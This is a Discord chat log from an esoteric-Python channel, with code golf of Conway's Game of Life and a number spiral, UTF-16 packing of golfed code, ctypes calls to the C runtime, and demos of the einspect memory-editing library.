#esoteric-python
1 messages · Page 18 of 1
that's how it's encoded in hex
do you have to add more
i just run it through this print('CODE'.encode().decode('u16'))
if it doesnt work just add a space at the end of the code and it works
This adds the extra stuff behind the scenes
to change encodings
oh right
this is the version for windows:
c = __import__('ctypes.util')
c_lib = c.CDLL(c.util.find_library('msvcrt'))
c_lib.puts(
c.cast(
b'Hello msvcrt!',
c.POINTER(c.c_char),
)
)
yep
windows doesn't have libc, so you have to use the microsoft c runtime
Microsoft Visual C Runtime is the equivalent
the v also stands for something but i forgot since i dont use windows
visual c# actually maybe
lemme google it
no
just
Microsoft Visual C Run Time
idk why it has "Visual"
kinda random
that's why you count in bytes
Apparently this is because the Microsoft Windows ™️ Visual C++ (MSVC) compiler has Visual in it
Actually... this means you can write a direct C to Python transpiler... I'm scared about that possibility.
how would you implement # pragma though
any ideas?
import sys
R=range
Q=R(-1,2)
G,E='#.'
A=[E+i+E for i in sys.argv[-1].split('\n')]
W=len(A[0])
*A,=E*W,*A,E*W
for Y in R(1,len(A)-1):print(''.join([E,G][2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x)<4]for X in R(1,W-1)))
``` 236
jesus
we've nearly cut it in half
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
0.18153846153846154
it's 18% of original size
import sys;R=range;Q=R(-1,2);G,E='#.';A=[E+i+E for i in sys.argv[-1].split('\n')];W=len(A[0]);*A,=E*W,*A,E*W;[print(''.join([E,G][2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x)<4]for X in R(1,W-1)))for Y in R(1,len(A)-1)]
``` and oneline version (+1c)
Best compression algorithm?
how does this skip all the padding?
range(1,len(A)-1) and range(1,W-1)
it can be range(1,len(A))
can it?
yep
wtf
why does that work
ah I see
it just errors and exits
does that count though
yep
ok im having some issues ungolfing 
i want to save a nice looking version too
import time
import os
dead = "⬜"
alive = "⬛"
os.system("cls")
inp = [
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛",
"⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛",
"⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
]
for n, m in enumerate(inp):
inp[n] = inp[n].center(len(inp[n]) + 2, dead)
inp.insert(0, dead * len(inp[0]))
inp.append(dead * len(inp[0]))
def nextgen(inp):
nxt = []
for y, i in enumerate(inp):
temp = ""
for x, j in enumerate(i):
tmp = []
if {y} & {0, len(inp) - 1} or {x} & {0, len(inp[y]) - 1}:
count = 0
else:
for k in range(-1, 2):
for l in range(-1, 2):
if k == 0 and l == 0:
continue
tmp.append(inp[y + k][x + l])
count = tmp.count(alive)
if {y} & {0, len(inp) - 1} or {x} & {0, len(inp[y]) - 1}:
continue
else:
if inp[y][x] == alive:
if 2 <= count <= 3:
temp += alive
else:
temp += dead
else:
if count == 3:
temp += alive
else:
temp += dead
if y == 0:
continue
nxt.append(temp)
for i in nxt:
print(i)
return nxt
nxt = nextgen(inp)
while True:
nxt = nextgen(nxt)
what the fuck is wrong with this
getting this error Traceback (most recent call last): File "c:\Users\\Documents\Code\Python\lifemulitplegen.py", line 85, in <module> nxt = nextgen(nxt) File "c:\Users\\Documents\Code\Python\lifemulitplegen.py", line 59, in nextgen tmp.append(inp[y + k][x + l]) IndexError: string index out of range
I did but ive lost it
just use the set + complex number approach if you're gonna run multiple frames
or at least numpy arrays
again, just use range instead of enumerate and get rid of the edges there
instead of dealing with edge checks
but this isn't esoteric anymore
ive got this now:
import time
import os
# os.system("cls")
inp = [
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
"⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜",
]
def nextgen(inp):
nxt = []
alive = "⬛"
dead = "⬜"
for n, m in enumerate(inp):
inp[n] = inp[n].center(len(inp[n]) + 2, dead)
inp.insert(0, dead * len(inp[0]))
inp.append(dead * len(inp[0]))
for y, i in enumerate(inp):
temp = ""
for x, j in enumerate(i):
count = 0
tmp=[]
if y == 0 or y == len(inp)-1 or x == 0 or x == len(inp[y])-1: continue
for n in range(-1,2):
for m in range(-1,2):
if n==0 and m==0:
continue
tmp.append(inp[y+n][x+m])
count = tmp.count(alive)
if inp[y][x] == alive:
if 2 <= count <= 3:
temp += alive
else:
temp += dead
else:
if count == 3:
temp += alive
else:
temp += dead
if y == 0 or y == len(inp)-1 or x == 0 or x == len(inp[y])-1: continue
nxt.append(temp)
nxt=nxt[1:-1]
for n in nxt:
print(n)
print()
return nxt
nxt = nextgen(inp)
while True:
nxt=nextgen(inp)
all working except its growing wider every cycle
oh yeah true
is there a test input for this
here's an untested 235 ```py
import sys
R=range
Q=-1,0,1
G,E='#.'
A=[E+i+E for i in sys.argv[-1].split('\n')]
W=len(A[0])
A,=EW,A,EW
for Y in R(1,len(A)-1):print(''.join([E,G][2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x)<4]for X in R(1,W-1)))
!e```py
exec(bytes('牰湩⡴漢湯漊湯漠湯漠湯漠湯漠湯漠湯漠੮湯漠湯漠湯漠湯漠湯漠湯漠湯漊湯漠湯漠湯漠湯漠湯漠湯漠੮湯漠湯漠湯漠湯漠湯漠湯漠湯漊湯漠湯漠湯漠湯漠湯漠湯漠੮湯漠湯漠湯漠湯漠湯漠湯漠湯漊湯漠湯漠湯漠湯漠湯漠湯漠੮湯漠湯漠湯漠湯漠湯漠湯漠湯漊湯漠湯漠湯漠湯漠湯漠湯漠੮湯漠湯漠湯漠湯漠湯漠湯漠湯漊湯⤢','u16')[2:])
@sick hound :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1
004 | print("on on
005 | ^
006 | SyntaxError: unterminated string literal (detected at line 1)
@quartz wave test input
233 ```py
import sys
R=range
Q=-1,0,1
G,E='#.'
A=[E+i+E for i in sys.argv[-1].split('\n')]
W=len(A[0])
A=E*W,A,EW
for Y in R(1,len(A)-1):print(''.join([E,G][2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x)<4]for X in R(1,W-1)))
231 ```py
import sys
R=range
Q=-1,0,1
E,G=S='.#'
A=[E+i+E for i in sys.argv[-1].split('\n')]
W=len(A[0])
A=E*W,A,EW
for Y in R(1,len(A)-1):print(''.join(S[2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x)<4]for X in R(1,W-1)))
idk
btw
i see room for an improvement of 1 character
import sys
R=range
Q=-1,0,1
E,G=S='.#'
A=[i+E*2for i in sys.argv[-1].split('\n')] # changing E+i+E to i+E*2 so the for keyword can 'stick' to the 2
W=len(A[0])
A=E*W,*A,E*W
for Y in R(1,len(A)-1):print(''.join(S[2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x)<4]for X in R(1,W-1)))
and you're sure that doesn't change anything?
dont think so
!e
for i in range(10000):
for j in range(10000):
if j + i + j != i+j*2:
print(f"oopsie? {i} {j}")
break
@dense nova :warning: Your 3.11 eval job timed out or ran out of memory.
[No output]
you're testing with numbers
oh
we're talking about strings where addition is not associative or commutative
@quartz wave what's the challenge now?
wdym
what's this
golf of golf
i literally don't know what the coding problem is
i just golf golfed solutions
ill try to golf ypurs
it's game of life
oh
exec(bytes('浩潰瑲猠獹刊爽湡敧儊ⴽⰱⰰⱅ㵇㵓⸧✣䄊嬽⭅⭩⁅潦湩猠獹愮杲孶ㄭ⹝灳楬⡴尧❮崩圊氽湥䄨せ⥝䄊䔽圪⨬ⱁ⩅潦⁙湩删ㄨ氬湥䄨⤱瀺楲瑮:sparkles:⸧潪湩匨㉛⠭孁嵙塛㵝䜽㰩畳⡭㵇䄽奛礫孝⭘嵸潦⁹湩儠映牯砠椠⁑晩礠硼㰩崴潦⁘湩删ㄨ圬ㄭ⤩
','u16')[2:])```
why
cos it's shorter
degen AKA packed solutions are separate
they always derive from the latest golfed code
its game of life
13 minutes too late
215 ```py
import sys
R=range
Q=-1,0,1
E,G=S='.#'
A=sys.argv[-1].split('\n')
L,W=len(A),len(A[0])
for Y in R(L):print(''.join(S[2-(A[Y][X]==G)<sum(G==A[Y+y][X+x]for y in Q for x in Q if y|x if W>X+x>-1<Y+y<L)<4]for X in R(W)))
210 ```py
import sys
R=range
Q=-1,0,1
L=len(A:=sys.argv[-1].split('\n'))
W=len(A[0])
for Y in R(L):print(''.join('.#'[2-(A[Y][X]=='#')<sum('#'==A[Y+y][X+x]for y in Q for x in Q if y|x if W>X+x>-1<Y+y<L)<4]for X in R(W)))
208 ```py
import sys
R=range
Q=-1,0,1
L=len(A:=sys.argv[-1].split('\n'))
W=len(A[0])
for Y in R(L):print(''.join('.#'[2-(A[Y][X]<'.')<sum('.'>A[Y+y][X+x]for y in Q for x in Q if y|x if W>X+x>-1<Y+y<L)<4]for X in R(W)))
200 ```py
import sys
R=range
L=len(A:=sys.argv[-1].split('\n'))
W=len(A[0])
for Y in R(L):print(''.join('.#'[2<sum('.'>A[y][x]for y in R(Y-1,Y+2)for x in R(X-1,X+2)if W>x>-1<y<L)<4+(A[Y][X]<'.')]for X in R(W)))
193 ```py
import sys
D=-1,0,1
E=enumerate
A=sys.argv[-1].split('\n')
for Y,l in E(A):print(''.join('.#'[4+('.'>c)>sum('.'>A[Y+y][X+x]for y in D for x in D if len(l)>X+x>-1<Y+y<len(A))>2]for X,c in E(l)))
191 ```py
import sys
D=-1,0,1
E=enumerate
A=sys.argv[-1].split('\n')
for Y,l in E(A):print(''.join('.#'[4+('.'>c)>sum(len(l)>X+x>-1<Y+y<len(A)!='.'>A[Y+y][X+x]for y in D for x in D)>2]for X,c in E(l)))
basically this but golfed
for n in range(-1, 2):
for m in range(-1, 2):```
It's used to get the surrounding cells (where x and y coords are -1/0/1 units away)
It's not a range btw
It's just a tuple containing -1, 0 and 1
Which works fine because we're just looping over it
It's only shorter than range(-1,2) because it only has 3 items
7800 chars
does anyone know a good way to basically do
if len(value) == 1:
x = y = value
else:
x, y* = value
but in a single liner? reason im asking here is because itll probably become code butchering lmao
len(value)==1and(x:=(y:=value))or(x:=value[0],y:=value[1:])
that should do it
but I'm tired so it might also fail entirely
!e ```py
value = [1,2,3]
x, y = (value, value) if len(value) == 1 else (value[0], value[1:])
print(x, y)
value = [1]
x, y = (value, value) if len(value) == 1 else (value[0], value[1:])
print(x, y)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 1 [2, 3]
002 | [1] [1]
like that?
i mean thats the 1 liner version of it
i was kindof hoping for a way to do it with unpacking
like without using an if else statement ig
Not technically a one-liner, and not quite equivalent, but the shortest so far
x, *y = value
y = y or x
value is an int or a tuple of ints
so it would be
x, *y = tuple(value)
y = y or x
!e py tuple(1) this raises an exception
@rugged sparrow :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | TypeError: 'int' object is not iterable
so this would break if value is an int
right
i just realized that
that would also fail since value is not iterable
oh right...
the unpacking would also fail
sry its such a random question
that fails cuz *value wont work lol
wait, then why is the initial prompt "if len(value) == 1, how can I ..."
also doesn't work
so basically then id have to do
isinstance(val, int)
or type(val)==int
right
this is the best I was able to figure out
x, *y = val if type(val) is tuple else [val]
y = val if type(val) is list else val or x
tysm for yalls help tho
I have written a python code that by using openAI API, automatically generates texts, images and videos, and generate youtube videos and publish them. Would appreciate if you could take a look and give me your feedback. my channel id on youtube is UCDUG32YQkF5jKKCRs6qz2nw
wrong channel
which channel should I use
I am new
!ot
Off-topic channel: #ot2-never-nester’s-nightmare
Please read our off-topic etiquette before participating in conversations.
Ok, thanks
any possible way to golf this further?
def s(m,n,t=0):
if n>0:
yield list(range(t,m+t))
for w in zip(*list(s(n-1,m,m+t))[::-1]):yield w
for i in s(10,10):print(*(f'{i:>2}'for i in i))```
def s(m,n,t=0):
if n>0:
yield[*range(t,m+t)]
yield from zip(*[*s(n-1,m,m+t)][::-1])
for i in s(10,10):print(*(f'{i:>2}'for i in i))
what is it supposed to do
could probably golf it more if i knew what its meant to be doing
prints a spiral from 0-99
doesnt the function have to have a name?
that errors out
!e
def s(m,n,t=0):
if n>0:
yield list(range(t,m+t))
for w in zip(*list(s(n-1,m,m+t))[::-1]):yield w
for i in s(10,10):print(*(f'{i:>2}'for i in i))```
@long fulcrum :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0 1 2 3 4 5 6 7 8 9
002 | 35 36 37 38 39 40 41 42 43 10
003 | 34 63 64 65 66 67 68 69 44 11
004 | 33 62 83 84 85 86 87 70 45 12
005 | 32 61 82 95 96 97 88 71 46 13
006 | 31 60 81 94 99 98 89 72 47 14
007 | 30 59 80 93 92 91 90 73 48 15
008 | 29 58 79 78 77 76 75 74 49 16
009 | 28 57 56 55 54 53 52 51 50 17
010 | 27 26 25 24 23 22 21 20 19 18
yeah
im just tired lol
should be fixed now
somethings wrong with the brackets
fixed
needs another bracket after the m+t in 3rd line as well
oh lines 2 and 3 can be combined now
fixed
oh 2-4 actually
it can be whatever as long as the output is this
honestly cant even remember I havent looked at this in ages
ah yeah it does
def s(m,n,t=0):
if n>0:yield[*range(t,m+t)];yield from zip(*[*s(n-1,m,m+t)][::-1])
for i in s(10,10):print(*(f"{i:>2}"for i in i))```
!paste
I wrote this a little while ago, does it count as esoteric? https://paste.pythondiscord.com/cadixuwiji
it is not windows friendly if you run it
hey i was wondering if someone would like to help me with a simple coding problem, im new to coding and the discord and i wanted to try out the advice someone might give me.
this is the wrong channel. check out #❓|how-to-get-help for information on how to receive help
thanks
in this channel, the type of help you will receive is not the type of help you want
lol. come back later
from time import sleep as sleep
why
herald your a man you solved my problem
im not a man, but im glad i could help regardless.
it's esoteric, you probably wou;ldn't understand
ya I will help you out in the help channel if you @ me
no im good now but thanks
i like
from time import sleep does the same thing, unless you're using some weird unicode characters that look the same as normal ascii ones
😄 Awesome! It took long time to make
use the greek version of ;
Herald I know that now, like I said it was written quite some time ago
ah
i see
i remember when i first found out about from thing import whatever statements
is it possible to do something along the lines of
(this is in C)
define True 0
define False 1
I thought I was on to something with that too.
i used them instead of normal import for everything
@placid fractal
in C, yes
from this import *
yeah that ^
thank ionite
now we can make cursed code even more cursed
ah
i thought you meant macros lol
(which also can be done)
nono sry. i meant like redefining the actual True and False bools
ah
macros are much easier to make no?
thats just insanely awesome
macros are relatively much harder to make (in python)
AnonymousDapper has a macro project going iirc
and RocketRace has a project that does something similar as well
Cereal has a macro thingy also
interesting ok
the main thing with their macros though is that they don't use valid Python syntax, they use codecs and whatnot
it'd probably be easier to make a pretty basic macro system using annotations
makes sense, tys tho
!e 👀
from einspect import view
view(False) << 1
view(True) << 0
print(True, False)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
0 1
o dayum ok
!e or even
from einspect import view
view(False) << ("hi",)
for x in False:
print(x)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
hi
its a really cool module made by ionite
i thought that would error because it was unsafe
117 ```py
s=lambda m,n,t:n>0and[[*range(t,m+t)],*zip(s(n-1,m,m+t)[::-1])]or[]
for i in s(10,10,0):print(('%2d'%i for i in i))
116
s=lambda m,n,t:n and[[*range(t,m+t)],*zip(*s(n-1,m,m+t)[::-1])]or[]
for i in s(10,10,0):print(*('%2d'%i for i in i))
Hi guys, am I allowed to put a link to my github repo here if the repo is related to this channel topic? Or such 'self-promoting' is not allowed here? Thanks
if its related to the esoteric python then sure
It depends what is 'esoteric python'. In my repo I'm trying to abuse different Python features for diff purposes. For example here https://github.com/LubomyrIvanitskiy/CrazyPython/tree/main/typespace I tried to implement simething like Dependent Types using function names as annotations. Or here https://github.com/LubomyrIvanitskiy/CrazyPython/tree/main/alt_imports I wrote a code with which your function can be 'located' in multiple modules at the same time. In general this community looks like the right place and would like to here some criticism/questions from you
UDP: here is a link for the whole repo: https://github.com/LubomyrIvanitskiy/CrazyPython
Making crazy and, in general, useless stuff by abusing Python features - CrazyPython/typespace at main · LubomyrIvanitskiy/CrazyPython
Making crazy and, in general, useless stuff by abusing Python features - CrazyPython/alt_imports at main · LubomyrIvanitskiy/CrazyPython
cool idea with the functions in different modules thing
though i think they would have to get imported somewhere beforehand so the @tag will run
For the first time you launch your app the modules is dynamically creayed and some funxtion stubs are stored by their alt path. So your IDE autofill will work. Next time the program will reuse them from sys.modules
so do you import the modules beforehand then?
to use your example in ReadMe.md
if you try to import tags.math, it would fail, at least until one of the other modules has run and called tag, no?
let me rephrase then
it would fail unless one of the other modules have been imported, right?
unless you're doing some sort of introspection to see what needs to be imported, but i dont see anything like that in the code so i dont think thats whats going on here
Good point, let me check
You are right. When import tags is called it calles tags.init.py where I execute manifest.py file - this is a file where you should put import for all modules that use tag decorator. I forget to mention it in the readme file, and this is the power of comunnity that you've remind me to do that:) Thank you!
I know it's a bit overhead to import them in single file, but anyway those modules would be imported later. Let me know if you have a better idea
there is a calculation for if the memory move is safe now, in general it will only be unsafe if one of the following is true
- source size exceeds target allocation
- source is a non-GC type moved into a GC type
- source has an instance dict offset in negative memory and the target doesn't
!e
from einspect import view
from einspect.errors import UnsafeError
x = ("hi", "hello")
view(x) << (1, 2, 3)
print(x)
try:
view(x) << (1, 2, 3, 4)
except UnsafeError as e:
print(e)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | (1, 2, 3)
002 | memory move of 56 bytes into allocated space of 48 bytes is out of bounds. Enter an unsafe context to allow this.
offset in negative memory?
sometimes the instance dict is stored before the object in memory, due to the object being variable in size (like a tuple subclass)
ah I see
it aligns .__sizeof__() right?
sort of, I calculate memory myself based on the struct
and it's aligned by 16?
like list().__sizeof__ includes the array for some reason
Objects/obmalloc.c lines 878 to 884
#if SIZEOF_VOID_P > 4
#define ALIGNMENT 16 /* must be 2^N */
#define ALIGNMENT_SHIFT 4
#else
#define ALIGNMENT 8 /* must be 2^N */
#define ALIGNMENT_SHIFT 3
#endif```
src/einspect/api.py lines 47 to 52
if sizeof(c_void_p) > 4:
ALIGNMENT = 16
ALIGNMENT_SHIFT = 4
else: # pragma: no cover
ALIGNMENT = 8
ALIGNMENT_SHIFT = 3```
branchless ```py
ALIGNMENT_SHIFT = 3 + (sizeof(c_void_p) > 4)
ALIGNMENT = 1 << ALIGNMENT_SHIFT
trying to be same as cpython source tho 😔
fair
!e also the struct creation now calls the proper C-APIs (for tuples _PyObject_GC_NewVar) so the allocation is correct for variable size objects
from einspect import NULL
from einspect.structs import PyTupleObject, PyTypeObject
t = PyTupleObject(
ob_refcnt=1,
ob_type=PyTypeObject(tuple).as_ref(),
ob_size=22,
ob_item=[1, 2] + [NULL] * 20,
)
print(t.into_object())
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
(1, 2, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>, <NULL>)
Does anybody know how to change a read-only attribue in Python. For example I have a function foo. I want to change it's globals for test purpose. When I try it like foo.globals = new_globals I got a 'read only attribute' error. Any ideas? Maybe einspect can help?
does it have to be the same function?
cause you could make a new function with a different __globals__
and replace foo with the new function
but yeah, einspect can most likely do that
if you know the offset for the .__globals__ you can replace the ptr with your own ptr
to a different dict
